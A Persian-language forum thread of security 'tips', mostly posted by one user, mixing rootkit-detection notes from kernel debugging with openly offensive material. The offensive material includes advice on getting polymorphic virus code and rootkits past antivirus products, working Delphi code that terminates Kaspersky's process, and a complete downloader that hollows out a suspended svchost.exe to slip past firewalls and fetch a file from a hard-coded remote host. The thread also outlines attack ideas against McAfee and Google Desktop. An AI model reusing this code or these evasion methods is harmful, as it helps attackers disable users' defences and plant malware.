صفحه 1 از 2 12 آخرآخر
نمایش نتایج 1 تا 40 از 48

نام تاپیک: TIP

  1. #1

    TIP

    سلام؛

    تو این تاپیک نکته ها یا جملات یا تجربه های فنی که میتونن در زمینه توسعه نرم افزارهای امنیتی ، کدهای سطح پائین ، حفاظت از نرم افزار و ...مفید باشن بنویسید . لزومی نداره مطالب ارائه شده در یک راستای به خصوص باشند لیکن باید بشه بین اونها و فضای این بخش ارتباط برقرار کرد .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  2. #2
    با تغییر Imagebase برنامه های دلفی به چیزی مانند 13140000 $ ( :evil2: ) دو کیلو بایت از حجم فایل خروجی کم خواهد شد .

    :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  3. #3
    بین آنتی ویروسهای موجود ، فقط Kaspersky میتونه هر چهار Engine متداول Poly-VX موجود رو بشناسه . اگر قراره به هر دلیل ، کد Polymorphic ای با استفاده از موتورهای موجود منتشر کنید ، از مقادیر معتنابهی XOR برای کنتاکت پیدا نکردن با Kaspersky غفلت نورزید .

    :wise2:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  4. #4
    آخرین نگارش ZoneAlarm Security Suite از Hook توابع سری ZW جلوگیری میکنه ؛ البته هنوز میتونید دنبال آدرس توابع بگردید اما حتی خوش شانس ترین آدم ، نمیتونه به گرفتن همیشگی جواب امیدوار باشه ؛
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  5. #5
    Donut اولین PE Infector سازگار با دات نت بود . اگر میخواید در مورد Infection باینریهای دات نت مطالعه کنید ؛ سورس کدش رو پیدا کنید .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  6. #6
    اگر ZoneAlarm فایروال دارید ، قطعا" فایلی شبیه به این هم دارید : C:\WINDOWS\Internet Logs\safePrograms.xml ؛ میتونید با استفاده از حماقتهای بکار رفته در این فایل ، کمی Zone Labs رو شرمنده کنید .


    :evil2:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  7. #7
    آخرین به روز رسانی McAfee فایروال نتونسته کمک خاصی بکنه و همچنان Process Injection امکان پذیره .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  8. #8
    در حال حاضر فقط Kaspersky و Nod32 نسبت به تغییر OEP و برخی از روشهای EP Faking حساس هستند ؛ KAV Rocks ؛ :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  9. #9
    بررسیهای امروزم نشون میده هیچکدام از KAV ، Nod32 ، Zonealarm ، McAfee تابع ZwLoadDriver رو Hook نمیکنند ، فلذا بین یک روتکیت متداول کرنل مود ، و نصب بدون دردسر اون روی سیستم ( بدون مزاحمت AV ها ) فقط یک Hexed Packer و یک دبل کلیک روی فایل حاوی Payload فاصله است .

    توضیح : تابع ZwLoadDriver تنها روتینی است که درایورها رو به حافظهء Non-Paged فراخوانی میکنه . AV های موجود امکان بررسی این فضای آدرسی رو ندارند و تا وقتی کنترلی روی این تابع وجود نداشته باشه ، در واقع حفاظ قابل ذکری در مقابل روتکیتها وجود نداره ؛ این ، در واقع ، واقعیتیه که الان وجود داره .

    :sorry:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  10. #10
    F-Secure مدتیه برنامه ای بنام BlackLight منتشر کرده که علی الظاهر بخوبی از پس برخی از Kernel Mode Rootkit ها بر میاد ، لیکن اولا یک آنتی ویروس نیست ، دوما" از لحاظ پردازش باینری به شدت کند و ضعیف است ( براحتی با دستکاری EP یکی از روتکیتهای معروف فریب اش دادم ) و سوما" فشار زیادی به سیستم تحمیل میکنه و قطعا" کاربرد دوره ای اش قابل توصیه نیست ؛ ولیکن بهر حال به عنوان ابزاری برای لابراتوار قابل احترام و شایسته تحسینه .

    SysInternals هم مدتی قبل کد جالبی با عنوان Rootkit Revealer منتشر کرده که غیر از رایگان بودن ، مزیت خاصی نسبت به BlackLight نداره ؛ البته ویژگی هاش هم کمتره و سرعت مرور ش کمی بیشتر .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  11. #11
    یک دوست در Nod32 میگوید تصمیم جدی برای جلوگیری از Cra@ck نرم افزارها یا لااقل ایجاد امکانات بیشتر برای بازرسی تیم های جرم یابی رایانه ای بین توسعه گران ضد ویروسها به وجود آمده است . احتمالا" اولین قدم جلوگیری از امکان اجرای Loader ها و سپس افزون ترفندهائی برای جلوگیری از Patch شدن نرم افزارها خواهد بود .

    بین AV های صاحبنام ، فعلا" ، فقط KAV کاربرد Loader های معروف را میشناسد .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  12. #12
    موتور ِ هیوریستیک ِ Nod32 انصافا" بی نظیره . کد مخربی که با UPX و تغییر دستی هدر و دو سه قسمت دیگهء فایل محافظت شده بود و برای سایر آنتی ویروسها ناشناس بود ، به عنوان یک تهدید بالقوه شناخته و معرفی شد .

    :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  13. #13
    مدتها قبل تروجانی رو دیده بودم که با Patch کردن MsGina ( مدیر دریافت اکانت کاربری ویندوز و انتقال اون به Auth Manager برای احراز هویت و ورود به محیط کاربری ) میتونست اکانت مدیر سیستم رو براحتی دریافت و برای نفوذگر ارسال کنه ؛ با جستجو در MSDN و بررسی همون تروجان تونستم یک DLL ساده بنویسم که بجای Patch کردن کتابخانهء مذکور ( و شاخ شدن برای AV ها ) بتونه فضای آدرسی msgina رو مانیتور و اکانت رو دریافت و لاگ کنه ؛ خیلی وقت از اون روزها گذشته و امروز ، در کمال تعجب موقع بررسی یک سیستم ، به چیز جالبی رسیدم :

    <span dir=ltr>
    • >
      0:018!chkimg -d msgina
      75844b98-75844b9c 5 bytes - MSGINA!WlxLoggedOutSAS
      [ 55 8b ec 83 ec:e9 c1 11 2a 8c ]
      5 errors : msgina (75844b98-75844b9c)
    </span>

    یک روتکیت Kernel-Mode با استفاده از APC-overwrite دقیقا" همونکار رو انجام داده بود ؛ یاد ایامی که در گلشن ...
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  14. #14
    Redirection in Action :

    <span dir=ltr>

    • kd> u 77f42737
      ntdll!NtEnumerateKey:
      77f42737 jmp globalc!HooksCanUnloadNow+0xc2e(10001da1)
      77f4273c mov edx,0x7ffe0300
    </span>


    حالا این 10001da1 که NtEnumerateKey به اون ریدایرکت شده ، چیه ؟

    <span dir=ltr>
    • kd> lm f a 10001da1
      start end module name
      10000000 10029000 globalc
      C:\WINDOWS\system32\com\sserver\globalc.dll
    </span>

    حالا این کتابخانهء غریبه داره چه میکنه ؟ چی هست اصولا؟

    <span dir=ltr>

    • C:\>cd C:\WINDOWS\system32\com\sserver\

      C:\WINDOWS\system32\Com\sserver>dir
      10/03/2005 03:59 PM &lt;DIR> .
      10/03/2005 03:59 PM &lt;DIR> ..
      05/03/2005 02:43 PM 108,544 comine.exe
      10/03/2005 03:59 PM 135,168 globalc.dll
      10/03/2005 03:59 PM 32,064 npf.sys
      10/03/2005 04:14 PM 1,418 rtkit.log
      4 File(s) 277,194 bytes
      2 Dir(s) 1,518,030,848 bytes free
    </span>

    این در واقع همان روتکیت Kernel-Mode و کتابخانهء فعال اش روی UserLand است ؛ همین دموی کوچک نشان میدهد روتکیتها چطور با آلوده کردن توابع کرنل ، کلیهء فرآیندیهای امنیتی و اعتبارسنجی را مختل میکنند ؛

    :)
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  15. #15
    یک مثال برای کشف روتکیتهائی که از Hooking استفاده میکنن :
    <span dir=ltr>

    kd> !chkimg -d ntdll
    77f42467-77f4246b 5 bytes - ntdll!ZwCreateFile</span>

    و

    <span dir=ltr>
    kd> u 77f42467
    ntdll!ZwCreateFile:
    77f42467 e921240608 jmp 7ffa488d</span>


    بدون شک روی آدرس 7ffa488d یکی از توابع روتکیت قابل مشاهده خواهد بود ؛ اگر روتکیت موفق شده باشه DLL ای به پروسهء مورد آزمایش Inject کنه ، ممکنه بجای jmp با ردیابی Call هم به Hooker برسیم ؛ با توجه به Tip قبلی ...

    :)
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  16. #16
    2.6 ها دیگه system call table رو Export نمیکنند ؛ هیچکدام از روتکیتهای موجود که بصورت عمومی در دسترس اند سیستمی که به 2.6 ارتقاء داده شده باشه رو تهدید نمیکنند ؛

    :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  17. #17
    درایورهای سطح کرنل فقط اگر هنگام فرآیند بوت فراخوانی بشن ( یعنی دقیقا" قبل از SMSS.exe ) میتونن یک پروسه User-Mode رو با استفاده از RtlCreateUserProcess بسازند ؛ پس ، برای یک Rootkit Detector کافیه که هنگام فراخوانی اولیه ویندوز ، ارجاعات به RtlCreateUserProcess رو بررسی کنه و در سایر مواقع APC ها رو ؛ مورد دوم رو هر سه روتکیت دتکتور موجود انجام میدن ، اما تا بحال برای مورد اول کد ِ منتشر شده ای ندیدم ؛ از اونجائیکه اغلب روتکیتهای موجود ( که اکثریت قریب به اتفاق روتکیتهای فعال از یک نسخهء دستکاری شدهء اونها استفاده میکنن ) از یک درایور سطح کرنل که هنگام فراخوانی اولیه وارد حافظه میشه استفاده میکنن ، برام بسیار عجیب بود که چرا تا بحال از این Trick ساده برای کشف وجود روتکیت استفاده نشده ؛
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  18. #18
    kernel32.dll ImageBase

    Windows 2000 SP4
    79430000H

    Windows XP SP1
    77E60000H

    Windows XP SP2
    7C000000H
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  19. #19
    برای کسب اطلاع از نسخه و نگارش و سرویسپک و ... ویندوز بجای استفاده از PsGetVersion یا RtlGetVersion یا RtlQueryRegistryValues ( روی Ring0‌ ) میشه از ساختار KUSER_SHARED_DATA که ( روی XP و 2K3 ی خودم لااقل ) همیشه از آدرس 0xFFDFF000 کرنل به بعد موجود است ، استفاده کرد . یک ضرب المثل قدیمی ایتالیائی هست که میگه Kamtar API Callo - More LifeTime Rootkitto

    :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  20. #20
    Dear Inprise
    Hi,
    Thanks for the Info.
    But why don't you talk about the Onlt Antivirus we have in IRAN

    I mean IMEN ANTIVIRUS

    I'm really curious to know about the abilities of this AV.

    I hope you can provide some information.
    Regards,
    Unrea.

  21. #21
    نقل قول نوشته شده توسط UnREal
    Dear Inprise
    Hi,
    Thanks for the Info.
    But why don't you talk about the Onlt Antivirus we have in IRAN

    I mean IMEN ANTIVIRUS

    I'm really curious to know about the abilities of this AV.

    I hope you can provide some information.
    Regards,
    Unrea.
    به این نرم افزار و سایر نرم افزارهای معروف ایرانی دسترسی ندارم ؛

    -

    Remote Debugging مهمترین ویژگی افزوده شده به IDA 4.8 بلا اغراق بی نظیره . سرورهاش از ویندوزهای 32 و 64 بیتی و لینوکس 32 بیت حمایت میکنند . کافیه سرویس مورد نظر رو اجرا کنید تا بتونید همزمان دیباگ و Disassemble روی Target انجام بدید .

    :)
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  22. #22
    امروز موفق شدم با Virtual Server 2005 SP1 انتشار نهائی Windows XP - 64 Bit رو یک سیستم معمولی 32 بیت نصب و اجرا کنم ؛ خیلی جالبه که ویندوز 64 بیتی هنوز از بعضی از کتابخانه های 32 بیتی استفاده میکنه .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  23. #23
    بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛ :wise1:

    Function DebugKillProcess&#40;ProcessId&#58; dword&#41;&#58; boolean;
    var
    pHandle&#58; dword;
    myPID&#58; dword;
    HandlesInfo&#58; PSYSTEM_HANDLE_INFORMATION_EX;
    r&#58; dword;
    begin
    Result &#58;= false;
    myPID &#58;= GetCurrentProcessId&#40;&#41;;
    if not EnableDebugPrivilege&#40;&#41; then Exit;
    if DbgUiConnectToDbg&#40;&#41; &lt;> STATUS_SUCCESS then Exit;
    pHandle &#58;= OpenProcessEx&#40;ProcessId&#41;;
    if DbgUiDebugActiveProcess&#40;pHandle&#41; &lt;> STATUS_SUCCESS then Exit;
    HandlesInfo &#58;= GetInfoTable&#40;SystemHandleInformation&#41;;
    if HandlesInfo = nil then Exit;
    for r &#58;= 0 to HandlesInfo^.NumberOfHandles do
    if &#40;HandlesInfo^.Information&#91;r&#93;.Proces sId = myPID&#41; and
    &#40;HandlesInfo^.Information&#91;r&#93;.ObjectTyp eNumber = $8&#41;
    then begin
    CloseHandle&#40;HandlesInfo^.Information&#91;r&#93 ;.Handle&#41;;
    Result &#58;= true;
    break;
    end;
    VirtualFree&#40;HandlesInfo, 0, MEM_RELEASE&#41;;
    end;


    DebugKillProcess&#40;GetProcessId&#40;'kavmm.exe'&  #41;&#41;;


    با اینکه بقیه آنتی ویروسها ارزش صرف چنین وقت ی رو ندارند لیکن روی F-Secure و MCAfee هم جواب داد ؛ احتمالا" بر و بچه های KAV باید یک دوجین API دیگه رو هم به لیست Interceptor شون اضافه کنند ، چون لغو عملکرد ExitProcess و ZwTerminateProcess به تنهائی مشکلی رو حل نمیکنه .

    :wise2:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  24. #24
    این کد رو با اسمبلی/دلفی مدتها قبل برای استفاده های شخصی ام نوشتم ؛ ایده اش هم مال خودم نیست البته . یکی از رفقا یک چیزی مثل همین میخواست من هم همینجا منتشرش میکنم شاید به درد بقیه هم بخوره . یک Web Downloader ساده است ، با ذکر این نکته که توی فضای آدرسی Svchost زندگی میکنه و بعضی از فایروالهای نسبتا" احمق رو فریب میده ؛ توضیح بیشتری نمیخواد . بهتره بجای Copy/Paste از ایده و روش استفاده کنید :wise2:

    program inpywebload;

    uses
    Windows, WinSock;

    &#123;$IMAGEBASE $13140000&#125;

    Function MyPos&#40;Substr, Str&#58; PChar&#41;&#58; dword; stdcall;
    asm
    mov eax, Substr
    mov edx, str
    test eax, eax
    je @noWork
    test edx, edx
    je @stringEmpty
    push ebx
    push esi
    push edi
    mov esi, eax
    mov edi, edx
    push eax
    push edx
    call lstrlen
    mov ecx, eax
    pop eax
    push edi
    push eax
    push eax
    call lstrlen
    mov edx, eax
    pop eax
    dec edx
    js @fail
    mov al, &#91;esi&#93;
    inc esi
    sub ecx, edx
    jle @fail

    @loop&#58;
    repne scasb
    jne @fail
    mov ebx, ecx
    push esi
    push edi
    mov ecx, edx
    repe cmpsb
    pop edi
    pop esi
    je @found
    mov ecx, ebx
    jmp @loop

    @fail&#58;
    pop edx
    xor eax, eax
    jmp @exit

    @stringEmpty&#58;
    xor eax, eax
    jmp @noWork

    @found&#58;
    pop edx
    mov eax, edi
    sub eax, edx

    @exit&#58;
    pop edi
    pop esi
    pop ebx

    @noWork&#58;
    end;

    Function MyCopy&#40;S&#58;PChar; Index, Count&#58; Dword&#41;&#58; PChar; stdcall;
    asm
    mov eax, Count
    inc eax
    push eax
    push LPTR
    call LocalAlloc
    mov edi, eax
    mov ecx, Count
    mov esi, S
    add esi, Index
    dec esi
    rep movsb
    end;

    procedure MyCopyMemory&#40;Destination&#58; Pointer; Source&#58; Pointer; Length&#58; DWORD&#41;;
    asm
    push ecx
    push esi
    push edi
    mov esi, Source
    mov edi, Destination
    mov ecx, Length
    rep movsb
    pop edi
    pop esi
    pop ecx
    end;


    Function DownloadFile&#40;Address&#58; PChar; var ReturnSize&#58; dword&#41;&#58; pointer;
    var
    Buffer&#58; pointer;
    BufferLength&#58; dword;
    BufferUsed&#58; dword;
    Bytes&#58; integer;
    Header&#58; PChar;
    Site&#58; PChar;
    URL&#58; PChar;
    FSocket&#58; integer;
    SockAddrIn&#58; TSockAddrIn;
    HostEnt&#58; PHostEnt;
    Str&#58; PChar;
    WSAData&#58; TWSAData;
    hHeap&#58; dword;
    begin
    Result &#58;= nil;
    hHeap &#58;= GetProcessHeap&#40;&#41;;
    WSAStartup&#40;257, WSAData&#41;;
    Site &#58;= MyCopy&#40;Address, 1, MyPos&#40;'/', Address&#41; - 1&#41;;
    URL &#58;= MyCopy&#40;Address, MyPos&#40;'/', Address&#41;, lstrlen&#40;Address&#41; - MyPos&#40;'/', Address&#41; + 1&#41;;
    Buffer &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
    try
    BufferLength &#58;= 1024;
    BufferUsed &#58;= 0;
    FSocket &#58;= socket&#40;PF_INET, SOCK_STREAM, IPPROTO_TCP&#41;;
    SockAddrIn.sin_family &#58;= AF_INET;
    SockAddrIn.sin_port &#58;= htons&#40;80&#41;;
    SockAddrIn.sin_addr.s_addr &#58;= inet_addr&#40;Site&#41;;
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
    HostEnt &#58;= gethostbyname&#40;Site&#41;;
    if HostEnt = nil then Exit;
    SockAddrIn.sin_addr.s_addr &#58;= Longint&#40;PLongint&#40;HostEnt^.h_addr_list^&#41 ;^&#41;;
    end;
    if Connect&#40;FSocket, SockAddrIn, SizeOf&#40;SockAddrIn&#41;&#41; = -1 then Exit;
    Str &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
    lstrcpy&#40;Str, 'GET '&#41;;
    lstrcat&#40;Str, URL&#41;;
    lstrcat&#40;Str, ' HTTP/1.0'#10#13'Host&#58; '&#41;;
    lstrcat&#40;Str, Site&#41;;
    lstrcat&#40;Str, #13#10'Connection&#58; close'#13#10#13#10&#41;;
    send&#40;FSocket, Str^, lstrlen&#40;Str&#41;, 0&#41;;
    HeapFree&#40;hHeap, 0, Str&#41;;
    repeat
    if BufferLength - BufferUsed &lt; 1024 then
    begin
    Inc&#40;BufferLength, 1024&#41;;
    Buffer &#58;= HeapReAlloc&#40;hHeap, 0, Buffer, BufferLength&#41;;
    end;
    Bytes &#58;= recv&#40;FSocket, pointer&#40;dword&#40;Buffer&#41; + BufferUsed&#41;^, 1024, 0&#41;;
    if Bytes > 0 then Inc&#40;BufferUsed, Bytes&#41;;
    until &#40;Bytes = 0&#41; or &#40;Bytes = SOCKET_ERROR&#41;;
    Header &#58;= MyCopy&#40;Buffer, 1, MyPos&#40;#13#10#13#10, Buffer&#41; + 3&#41;;
    ReturnSize &#58;= BufferUsed - lstrlen&#40;header&#41;;
    Result &#58;= VirtualAlloc&#40;nil, ReturnSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
    if Result = nil then Exit;
    MyCopyMemory&#40;Result, pointer&#40;dword&#40;Buffer&#41; + lstrlen&#40;header&#41;&#41;, ReturnSize&#41;;
    finally
    HeapFree&#40;hHeap, 0, Buffer&#41;;
    end;
    end;

    Procedure Download&#40;&#41;; stdcall;
    const
    URL &#58; PChar = 'barnamenevis.org/mysoul.mp3';
    var
    Buff&#58; pointer;
    Size&#58; dword;
    Bytes&#58; dword;
    dFile&#58; dword;
    begin
    LoadLibrary&#40;'wsock32.dll'&#41;;
    Buff &#58;= DownloadFile&#40;URL, Size&#41;;
    dFile &#58;= CreateFile&#40;'c&#58;\inpyinvoice.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0&#41;;
    WriteFile&#40;dFile, Buff^, Size, Bytes, nil&#41;;
    CloseHandle&#40;dFile&#41;;
    ExitProcess&#40;0&#41;;
    end;


    var
    St&#58; TStartupInfo;
    Pr&#58; TProcessInformation;
    InjectSize&#58; dword;
    Code&#58; pointer;
    Injected&#58; pointer;
    BytesWritten&#58; dword;
    Context&#58; _CONTEXT;

    begin
    ZeroMemory&#40;@St, SizeOf&#40;TStartupInfo&#41;&#41;;
    St.cb &#58;= SizeOf&#40;TStartupInfo&#41;;
    St.wShowWindow &#58;= SW_SHOW;
    CreateProcess&#40;nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr&#41;;
    Code &#58;= pointer&#40;GetModuleHandle&#40;nil&#41;&#41;;
    InjectSize &#58;= PImageOptionalHeader&#40;pointer&#40;integer&#40;C ode&#41; +
    PImageDosHeader&#40;Code&#41;._lfanew +
    SizeOf&#40;dword&#41; +
    SizeOf&#40;TImageFileHeader&#41;&#41;&#41;.SizeOfI mage;
    Injected &#58;= VirtualAllocEx&#40;Pr.hProcess, Code, InjectSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
    WriteProcessMemory&#40;Pr.hProcess, Injected, Code, InjectSize, BytesWritten&#41;;
    Context.ContextFlags &#58;= CONTEXT_FULL;
    GetThreadContext&#40;Pr.hThread, Context&#41;;
    Context.Eip &#58;= dword&#40;@Download&#41;;
    SetThreadContext&#40;Pr.hThread, Context&#41;;
    ResumeThread&#40;Pr.hThread&#41;;
    end.
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  25. #25
    OEP برنامه های نوشته شده با دلفی عموما" یک چیزی ست تو این مایه :

    &#58;0041A1FC 55
    &#58;0041A1FD 8BEC




    ( تغییر دادنش بدون دستکاری کد واقعا" ساده است ؛ اما موضوع این پست نیست ) اما چرا ؟ اگر به یونیت SysInit که وظایف مقدماتی برپائی محیط اجرای برنامه رو بر عهده داره نگاه کنید چند تابع جالب خواهید دید :

    procedure _ InitLib; 
    procedure _ InitExe;


    و اگر به پیاده سازی روتین _InitExe نگاه کنید :


    <span dir=ltr>
    • procedure _InitExe;
      asm

      PUSH EAX
      PUSH 0

      CALL GetModuleHandle
      MOV EDX,offset Module
      PUSH EDX
      MOV HInstance,EAX
      MOV [EDX].TLibModule.Instance,EAX
      MOV [EDX].TLibModule.CodeInstance,0
      MOV [EDX].TLibModule.DataInstance,0
      CALL InitializeModule
      POP EDX
      POP EAX

      CALL _StartExe
      end;
    </span>

    فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌) برسن :wise1:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  26. #26
    بنیان گذار Barnamenevis آواتار مهدی کرامتی
    تاریخ عضویت
    اسفند 1381
    محل زندگی
    کرج، گلشهر
    سن
    46
    پست
    6,379
    فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌) برسن
    ممکنه یک مثال عملی بزنی؟

  27. #27
    دو تا NOP به روتین مذکور یا دو سه روتین ی که چنین وظایفی دارند اضافه کن و دوباره RTL رو کامپایل کن





    برای نیل به مقصود باید به سورس کامل VCL دسترسی داشته باشی ؛ ایضا" این روند وقتگیر و کند است و ممکنه در صورت خطا یا دستکاری های قبلی یا استفاده از ابزارهای ثالثی که تغییرات به خصوصی ایجاد کرده باشند با عدم موفقیت همراه باشه ؛ در مجموع روشهای ساده تری هم هست که بعدا" در موردشون مینویسم
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  28. #28
    این روزها تا فرصت ی پیدا بشه - خصوصا موقع نهار و شام - مشغول خواندن کتاب Code Optimization : Effective Memory Usage از کریس کسپراسکای هستم ؛ کتاب قبلی ش یعنی Hacker Disassembler هم انصافا" بی نظیر بود و قاعدتا" کتاب بعدی ش یعنی Debugger Revealed هم همینطور خواهد بود . کسانی که به این مباحث علاقه دارن قطعا" از مطالعه شون پشیمان نخواهند شد :wise2:



    <span dir=ltr>
    • A guide to optimizing programs on the PC and Unix platforms, this book covers the expediency of optimization and the methods to increase the speed of programs via optimization. Discussed are typical mistakes made by programmers that lessen the performance of the system along with easily implemented solutions. Detailed descriptions of the devices and mechanism of interaction of the computer components, effective ways of programming, and a technique for optimizing programs, are provided. Programmers will also learn how to effectively implement programming methods in a high-level language that is usually done in assembler with particular attention given to the RAM subsystem. The working principles of the RAM and the way in which it is coupled with the processor as well as a description of programming methods that allows programmers to overclock the memory to reach maximum performance are included.
    </span>
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  29. #29
    کاربر دائمی آواتار jirjirakk
    تاریخ عضویت
    بهمن 1381
    محل زندگی
    wwwroot
    پست
    660
    آف تاپیک : :flower: تشکر :kiss:

  30. #30
    <span dir=ltr>
    • kd> dt nt!_HANDLE_TABLE
      +0x000 TableCode : Uint4B
      +0x004 QuotaProcess : Ptr32 _EPROCESS
      +0x008 UniqueProcessId : Ptr32 Void
      +0x00c HandleTableLock : [4] _EX_PUSH_LOCK
      +0x01c HandleTableList : _LIST_ENTRY
      +0x024 HandleContentionEvent : _EX_PUSH_LOCK
      +0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
      +0x02c ExtraInfoPages : Int4B
      +0x030 FirstFree : Uint4B
      +0x034 LastFree : Uint4B
      +0x038 NextHandleNeedingPool : Uint4B
      +0x03c HandleCount : Int4B
      +0x040 Flags : Uint4B
      +0x040 StrictFIFO : Pos 0, 1 Bit
    </span>

    با بررسی تک تک رکوردهای _LIST_ENTRY تمام پروسه های فعال سیستم ، اعم از پنهان و آشکار قابل مشاهده هستند ؛ حداقل هیچگدام از روتکیتهائی که شخصا" تست شون کردم به این ویژگی دست نمیزنند . به نظرم میرسه دور نیست زمانی که راه حلهای امنیتی نسل بعدی آنتی ویروسها به دیباگر و Disassembler های داخلی برای انجام وظایفشون مجهز بشن ؛ Funny‌ ؛

    :wink:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  31. #31
    امروز هنگام اعمال تغییرات متعدد روی کد یکی از برنامه هام ، و به محض فشردن کلید F5 با پیام خطای ویژوال استودیو مواجه شدم که مدعی بود خطای Sharing Violation باعث میشه نتونم بصورت خودکار فایلم رو ذخیره و کامپایل کنم . خوب من حداقل برای نیمی از روز در حال کار کردن روی این کد و ذخیره و کامپایل اون بودم و برنامه دیگری رو اجرا نکرده بودم . بعد از یک بررسی سریع به لطفا Process Explorer متوجه شدم دو هندل فعال از فایلم توسط دو سرویس جستجوی محلی روی دیسک ( گوگل دسکتاپ سرچ و ام اس ان لوکال ایندکس ) وجود داره و نرم افزارهای احمق فوق الذکر پس از توجه به تغییرات مداوم روی یک فایل به ری-ایندکس اون مبادرت ورزیدند و طی این مدت ، بخاطر نوع فراخوانی فایل و دریافت هندل ، امکان تغییر و اعمال تغییر در اون فایل وجود نداشت ...

    :sorry:

    قبل از هر چیز دو عدد فحش به توسعه گران کند ذهن هر دو برنامه تقدیم داشته ، بر آن شدم که سیستم رو از وجود منحوس این دو باگ تطهیر کنم ؛ لیکن قبل از اون به نظرم رسید ، به نحوهء فرخوانی فایل و ری-ایندکس گوگل دسکتاپ سرچ نگاهی بندازم و در کمال ناباوری یک فرمت استرینگ باگ رو زیارت کردم که Exploitation اون "ممکنه" بتونه منجر به افزایش مجوز دسترسی تا حد کاربر اجرا کنندهء سرویس گوگل سرچ بشه ، و البته ممکنه اینطور نباشه . نمیدونم در مورد این مورد کار بیشتری خواهم کرد یا خیر ، لیکن میدونم گرفتن پول در مقابل تحویل دادن این قطعات آشغال نرم افزاری به مدیران تیمهای نرم افزاری ، فقط میتونه از پس یک سری آدم اصل ِ دودر و بیسواد بر بیاد .

    :sorry:



    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  32. #32
    با یک بررسی آماری روی آنتی ویروسهائی که کاربردهای گسترده و بعضا" سازمانی دارن به نتایج جالبی رسیدم :

    • - نورتون : بیش از سه نقطه ضعف در شناسائی انواع فایلها از طریق بررسی هدر فایل
      آخرین مورد : Heap Overrun هنگام بررسی هدر فایلهای فشرده شده با UPX
      -مک آفی : بیش از پنج نقطه ضعف در شناسائی انواع فایلها از طریق ...
      آخرین مورد : Stack Overrun هنگام بررسی نام ثبت شده از فایل در هدر
      - ترندمیکرو : بیش از سه نقطه ضعف در شناسائی انواع فایلها...
      آخرین مورد : یک Kernel Heap Overrun دقیقا" مانند نسخهء UserMode نقطه ضعف مک آفی
      -اف سکیور : دو نقطه ضعف در شناسائی انواع فایلها از طریق ...
      آخرین مورد : Heap Overrun هنگام بررسی طول نام فایل
      و ...


    گزارش مفصلی شد ؛ نتیجه اش تجاریه و قابل انتشار نیست لیکن درک ارتباط معنی دار این داده ها چنان دشوار نیست ؛ یه ضرب المثل قدیمی ایتالیائی میگه : آدمها اغلب مثل هم اشتباه میکنن ؛

    :wise2:
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  33. #33
    اسلایدهای جالبی در مورد روشهای به روز رسانی آنتی ویروسها

    -

    بعد از یک بررسی ساده و آزمایش مک آفی فهمیدم مک آفی هم نسبت به Shatter Attack آسیب پذیر است و اگر این نقیصه رو در کنار ارسال مستقیم اسکریپتهای آپدیتش به شل بگذاریم ، میتونیم با یک اکانت کاربری سطح پائین که به یکی از پنجره های اصلی مک آفی دسترسی دارد ، درست وقتی عمل آپدیت در حال انجامه ، اسکریپت آلودهء خودمون رو به شل بفرستیم .

    توضیح یک : Shatter Attack محصول نقص معماری ویندوز است . تو با یک اکانت کاربری سطح پائین حق داری برای کنترل رابط کاربری برنامه ای که با مجوز بالاتری اجرا میشه پیام ( Windows Message‌ ) ارسال کنی .

    ارسال مستقیم و Plain Text اسکریپت آپدیت مک آفی به شل فوق العاده احمقانه به نظر میرسه ؛ یعنی چه کسانی این آنتی ویروس رو توسعه میدن ؟

    توضیح دو : روش KAV جالب بود .

    :)
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  34. #34
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  35. #35
    شاید این بتونه جمع بندی کاملی باشه که :

